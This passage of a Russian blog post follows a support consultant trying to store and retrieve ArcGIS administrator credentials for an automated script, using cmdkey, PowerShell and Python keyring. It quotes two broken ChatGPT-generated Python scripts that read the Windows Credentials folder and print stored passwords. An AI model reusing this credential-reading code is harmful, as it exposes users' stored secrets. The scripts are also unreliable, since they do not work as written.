data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2d4\/4b4\/08e\/2d44b408ea1b1540a14460e9ac714af4.png\"\/><\/figure>\n<p>\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u044e \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0435\u043a\u0442:<\/p>\n<p><em>System.Runtime.Serialization.Json<\/em><\/p>\n<p><em>System.Text.Json<\/em><\/p>\n<p>\u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0440\u0443\u0433\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u043e\u0431\u0438\u0440\u0430\u044e \u043f\u0440\u043e\u0435\u043a\u0442:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/15a\/d59\/1ed\/15ad591ed428200f577744d1f6340ad7.png\" width=\"564\" height=\"418\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/15a\/d59\/1ed\/15ad591ed428200f577744d1f6340ad7.png\"\/><\/figure>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u044e \u0441\u043a\u0440\u0438\u043f\u0442. \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430, \u0447\u0442\u043e\u0431\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043b\u0438\u0441\u0442 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 ArcGIS. \u0418 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0443\u0434\u0440\u0443\u0447\u0430\u0435\u0442\u2026:  <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d25\/79b\/008\/d2579b008cf12a628f46a0f03aca7a38.png\" width=\"993\" height=\"655\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d25\/79b\/008\/d2579b008cf12a628f46a0f03aca7a38.png\"\/><\/figure>\n<p>\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043f\u0443\u0441\u0442\u043e\u0439 \u0441\u043f\u0438\u0441\u043e\u043a. \u0421\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u0441\u0430\u043c\u043e\u043c AGSSOM, \u043d\u043e \u0442\u0430\u043a \u043a\u0430\u043a \u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0443 \u043c\u0435\u043d\u044f \u043d\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u0433\u0440\u0443\u0437\u0438\u0442\u044c\u0441\u044f \u0432 \u043a\u043e\u0434 \u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435.<\/p>\n<h4>\u0427\u0430\u0441\u0442\u044c 2. \u0415\u0434\u0435\u043c \u0434\u0430\u043b\u044c\u0448\u0435<\/h4>\n<p>\u041d\u0430\u0445\u043e\u0436\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 <a href=\"https:\/\/support.esri.com\/en-us\/knowledge-base\/how-to-stop-gis-services-using-arcgis-api-for-python-000019994\"><u>\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 <\/u><strong><u>Arcgis <\/u><\/strong><u>\u0434\u043b\u044f Python<\/u><\/a> \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c (<em>\u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440<\/em>)\u00a0 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438 ArcGIS, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0438\u0445 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438.<\/p>\n<p>\u0421\u0440\u0430\u0437\u0443 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432:<\/p>\n<ol>\n<li>\n<p>\u041a\u0430\u043a \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u0440\u0438 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430?<\/p>\n<\/li>\n<li>\n<p>\u041a\u0430\u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043d\u0443\u0436\u043d\u044b\u0435 \u043c\u043d\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Python? \u0418\u043c\u0435\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0440\u044f\u0434 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0440\u0435\u0448\u0430\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443 \u043c\u0435\u043d\u044f \u0442\u0430\u043a\u0436\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0435\u0442.<\/p>\n<\/li>\n<\/ol>\n<p><strong>\u041d\u0430\u0447\u043d\u0451\u043c \u0441 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 \u043f\u0430\u0440\u043e\u043b\u044f, \u0430 \u0442\u043e\u0447\u043d\u0435\u0435 \u2013 \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.<\/strong><\/p>\n<p>\u0415\u0441\u0442\u044c \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 ArcGIS Server, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c ArcGIS.<\/p>\n<p>\u0420\u0430\u0431\u043e\u0442\u0430\u044f \u0440\u0430\u043d\u0435\u0435 \u0441 RPA \u0432 \u04255 (<a href=\"https:\/\/habr.com\/ru\/specials\/736058\/\"><u>Robotic Process Automation<\/u><\/a>), \u044f \u0441\u043b\u044b\u0448\u0430\u043b \u043e\u0442 \u043a\u043e\u043b\u043b\u0435\u0433 \u043e \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 Credential.<\/p>\n<p>\u0418\u0434\u0443 \u0438\u0441\u043a\u0430\u0442\u044c \u0438 \u043d\u0430\u0445\u043e\u0436\u0443 \u0441\u0442\u0430\u0442\u044c\u044e:<a href=\"https:\/\/habr.com\/ru\/articles\/435652\/\"> <u>\u041a\u0430\u043a \u043d\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0431\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0432 Python \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445.<\/u><\/a><\/p>\n<p>\u041c\u043e\u0451 \u043f\u043e\u0447\u0442\u0435\u043d\u0438\u0435 \u0430\u0432\u0442\u043e\u0440\u0443: \u043a\u0440\u0430\u0442\u043a\u043e, \u0451\u043c\u043a\u043e \u0438 \u0447\u0451\u0442\u043a\u043e \u043f\u043e\u0433\u0440\u0443\u0437\u0438\u043b \u0432 \u0442\u0435\u043c\u0443.<\/p>\n<p><strong>\u0418\u0442\u0430\u043a, \u043f\u0440\u0438\u0432\u0435\u0442 Windows Credential Locker.<\/strong><\/p>\n<p>\u041f\u044b\u0442\u0430\u044f\u0441\u044c \u0441\u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0442\u044c \u0432\u0440\u0435\u043c\u044f, \u043f\u0438\u0448\u0443 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a ChatGPT \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044e \u043e\u0442\u0432\u0435\u0442:<\/p>\n<details class=\"spoiler\">\n<summary>\u041f\u0440\u0438\u043c\u0435\u0440 \u0442\u0443\u0442:<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"powershell\">Install-Module -Name CredentialManager # \u0418\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u043c\u043e\u0434\u0443\u043b\u044c Import-Module -Name CredentialManager # \u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 $credential = New-Object System.Management.Automation.PSCredential -ArgumentList \"Username\", (\"Password\" | ConvertTo-SecureString -AsPlainText -Force) # \u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 Credential Manager New-StoredCredential -Target \"TargetName\" -Credential $credential -Persist LocalMachine<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0412\u044b\u043f\u043e\u043b\u043d\u044f\u044e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044e \u043e\u0442\u0432\u0435\u0442, \u0447\u0442\u043e \u0443 \u043c\u0435\u043d\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432 Powershell.<\/p>\n<p><em>\u0422\u0443\u0442 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0435\u0449\u0451 \u043d\u0430 \u0437\u0430\u0440\u0435 \u0437\u043d\u0430\u043a\u043e\u043c\u0441\u0442\u0432\u0430 \u0441 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u043c\u0438 \u0443 \u043c\u0435\u043d\u044f \u0441\u0440\u0430\u0437\u0443 \u043d\u0435 \u0441\u043b\u043e\u0436\u0438\u043b\u043e\u0441\u044c \u0441 PowerShell. \u041f\u043e\u043d\u0438\u043c\u0430\u044e, \u0447\u0442\u043e \u0434\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u201c\u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u043d\u043e\u0433\u043e\u201d \u043d\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u0441\u0442\u0440\u0430\u0448\u043d\u043e\u0433\u043e \u0432 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043a\u0430\u0445. <\/em><strong><em><u>\u041d\u043e \u0434\u043b\u044f \u043d\u043e\u0432\u0438\u0447\u043a\u0430<\/u><\/em><\/strong><em>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0448\u0451\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0437\u0430\u0434\u0430\u0447\u0443, \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0441 PowerShell, \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441, \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0438 \u0432\u0441\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f, \u043d\u0430\u0432\u0435\u0448\u0430\u043d\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440, \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044e\u0442 PowerShell \u0432 \u0444\u0438\u043b\u0438\u0430\u043b \u043c\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0430\u0434\u0430 \u0441 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u044b\u0442\u043a\u0430\u043c\u0438 \u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0430.<\/em><\/p>\n<p>\u041f\u043e\u0433\u0440\u0443\u0436\u0430\u044e\u0441\u044c, \u043a\u0430\u043a \u0443\u0436\u0435 \u043f\u0440\u0438\u0432\u044b\u043a \u0437\u0430 \u0433\u043e\u0434\u044b \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0435, \u0432 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0438 \u043f\u044b\u0442\u0430\u044e\u0441\u044c \u0440\u0435\u0448\u0438\u0442\u044c \u0435\u0451. \u041d\u0435 \u0445\u0432\u0430\u0442\u0430\u0435\u0442 \u0437\u043d\u0430\u043d\u0438\u0439 \u043d\u0430 \u044d\u043a\u0432\u0430\u0442\u043e\u0440\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f? \u041d\u0430\u0447\u0438\u043d\u0430\u044e \u043f\u043e\u0433\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0432 PowerShell, Windows Credential, Active Directory\u2026\u0438 \u043d\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u044e, \u043a\u0430\u043a \u043c\u0435\u0436\u0434\u0443 \u0435\u0436\u0435\u0434\u043d\u0435\u0432\u043d\u044b\u043c\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u043c\u0438 \u043e\u0431\u044f\u0437\u0430\u043d\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043a\u043e\u043d\u0441\u0443\u043b\u044c\u0442\u0430\u043d\u0442\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u043c\u0438 \u0440\u0435\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0441 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 PowerShell \u043f\u0440\u043e\u0448\u043b\u043e \u0443\u0436\u0435 \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0451\u0445 \u0434\u043d\u0435\u0439\u2026\u0421\u0442\u043e\u043f! \u042f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e \u201c\u0434\u0443\u043c\u0430\u044e\u201d \u043d\u0435 \u0432 \u0442\u0443 \u0441\u0442\u043e\u0440\u043e\u043d\u0443.<\/p>\n<p><strong>\u0421\u043c\u043e\u0442\u0440\u044e \u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043f\u043e\u0434 \u0434\u0440\u0443\u0433\u0438\u043c \u0443\u0433\u043b\u043e\u043c<\/strong><\/p>\n<p>\u041f\u0440\u0438\u0432\u0435\u0442, Windows Prompt (CMD, \u043a\u043e\u043d\u0441\u043e\u043b\u044c), \u043a\u043e\u0442\u043e\u0440\u0443\u044e Microsoft \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430 PowerShell, \u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u044d\u0442\u043e, \u043f\u043e \u043c\u043e\u0435\u043c\u0443 \u0441\u043a\u0440\u043e\u043c\u043d\u043e\u043c\u0443 \u043c\u043d\u0435\u043d\u0438\u044e, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c (\u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441 \u0443\u0447\u0451\u0442\u043e\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432 Powershell cmd.exe).<\/p>\n<p>\u0413\u0443\u0433\u043b\u044e \u0438 \u043d\u0430\u0445\u043e\u0436\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e <a href=\"https:\/\/learn.microsoft.com\/ru-ru\/windows-server\/administration\/windows-commands\/cmdkey\"><u>cdmkey.<\/u><\/a><\/p>\n<p>\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435:<\/p>\n<pre><code class=\"powershell\">cmdkey \/add:&lt;\u0438\u043c\u044f \u0437\u0430\u043f\u0438\u0441\u0438> \/user:&lt;\u043b\u043e\u0433\u0438\u043d> \/pass:&lt;\u043f\u0430\u0440\u043e\u043b\u044c><\/code><\/pre>\n<p>\u0418, \u043e \u0447\u0443\u0434\u043e, \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0431\u043b\u0435\u043c:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6da\/fbd\/4f2\/6dafbd4f20d94024ec70abec1448eba9.png\" width=\"786\" height=\"247\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6da\/fbd\/4f2\/6dafbd4f20d94024ec70abec1448eba9.png\"\/><\/figure>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u044e Credential Manager:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/09d\/9d6\/342\/09d9d63424a1e26a76604b453655f0d0.png\" width=\"898\" height=\"622\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/09d\/9d6\/342\/09d9d63424a1e26a76604b453655f0d0.png\"\/><\/figure>\n<p><strong>\u041f\u0440\u043e\u0431\u0443\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c.<\/strong><\/p>\n<details class=\"spoiler\">\n<summary>\u0418\u0434\u0443 \u0432 ChatGPT:<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import getpass import win32crypt  username = getpass.getuser() path = r\"C:\\\\Users\\\\{}\\\\AppData\\\\Roaming\\\\Microsoft\\\\Credentials\\\\\".format(username) if sys.platform.startswith(\"win\"):     path = path + \"\/\"  try:     with open(path, \"r\") as f:         content = f.read().splitlines()         for line in content:             if line.startswith(\"username=\"):                 username = line.replace(\"username=\", \"\").strip()             elif line.startswith(\"password=\"):                 password = win32crypt.CryptUnprotectData(bytes.fromhex(line.replace(\"password=\", \"\").strip()), None)                 print(f\"{username}:{password}\") except FileNotFoundError:     print(\"No credentials found for this user.\")<\/code><\/pre>\n<p><em>\u0421\u0442\u0440\u0430\u043d\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442, \u043a\u0443\u0434\u0430-\u0442\u043e \u043f\u0440\u043e\u043f\u0430\u043b import sys \u0432 \u043d\u0430\u0447\u0430\u043b\u0435\u2026<\/em>  <\/p>\n<\/div>\n<\/details>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043a \u0440\u0430\u0431\u043e\u0447\u0435\u043c\u0443 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u043e\u0434 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c98\/025\/1d9\/c980251d9e2809c63cfd8957b563123f.png\" width=\"881\" height=\"52\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c98\/025\/1d9\/c980251d9e2809c63cfd8957b563123f.png\"\/><\/figure>\n<details class=\"spoiler\">\n<summary>\u041f\u0440\u043e\u0431\u0443\u044e \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442:<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import os  # \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0443\u0442\u0438 \u043a \u0444\u0430\u0439\u043b\u0443 Credential Manager credentials_path = r'C:\\\\Users\\\\Default\\\\AppData\\\\Roaming\\\\Microsoft\\\\Credentials'  # \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0432\u0441\u0435\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432 \u0444\u0430\u0439\u043b\u0435 Credential Manager credentials = [] with open(credentials_path, 'r') as f:     for line in f:         data = json.loads(line)         if 'username' in data and 'password' in data:             credentials.append(data)  # \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 \u043f\u0430\u0440\u043e\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f username = input(\"\u0412\u0432\u0435\u0434\u0438\u0442\u0435 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f: \") for user in credentials:     if user['username'] == username:         print(\"\u041b\u043e\u0433\u0438\u043d:\", user['username'])         print(\"\u041f\u0430\u0440\u043e\u043b\u044c:\", user['password'])         break else:     print(\"\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\")<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ba4\/8c3\/e18\/ba48c3e18b9f0d674a46814610492621.png\" width=\"881\" height=\"52\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ba4\/8c3\/e18\/ba48c3e18b9f0d674a46814610492621.png\"\/><\/figure>\n<p>\u041e\u043f\u044b\u0442\u043d\u044b\u043c \u043f\u0443\u0442\u0451\u043c \u044f \u0432\u044b\u044f\u0441\u043d\u0438\u043b, \u0447\u0442\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0445 \u0443 \u043c\u0435\u043d\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u2026<\/p>\n<h4>\u041f\u043e\u0438\u0441\u043a \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439<\/h4>\n<p>\u041d\u0430\u0445\u043e\u0436\u0443 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u043f\u0440\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 <a href=\"https:\/\/keyring.readthedocs.io\/en\/latest\/index.html\"><u>keyring<\/u><\/a> \u0434\u043b\u044f Python.<\/p>\n<p>\u0421\u043b\u0435\u0434\u0443\u044f \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u0441\u043e\u0432\u0435\u0442\u0430\u043c \u0434\u043e\u0431\u0440\u043e\u0433\u043e \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0441 YouTube, \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 Windows Prompt \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e keyring \u0438 \u0441\u043e\u0437\u0434\u0430\u044e \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f:<\/p>\n<pre><code class=\"powershell\">pip install keyring<\/code><\/pre>\n<p>\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u044e \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b26\/155\/87e\/b2615587e18a9627b2512159b1851a06.png\" width=\"1119\" height=\"343\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b26\/155\/87e\/b2615587e18a9627b2512159b1851a06.png\"\/><\/figure>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e\u0442\u043b\u0438\u0447\u043d\u044b\u0439: \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c 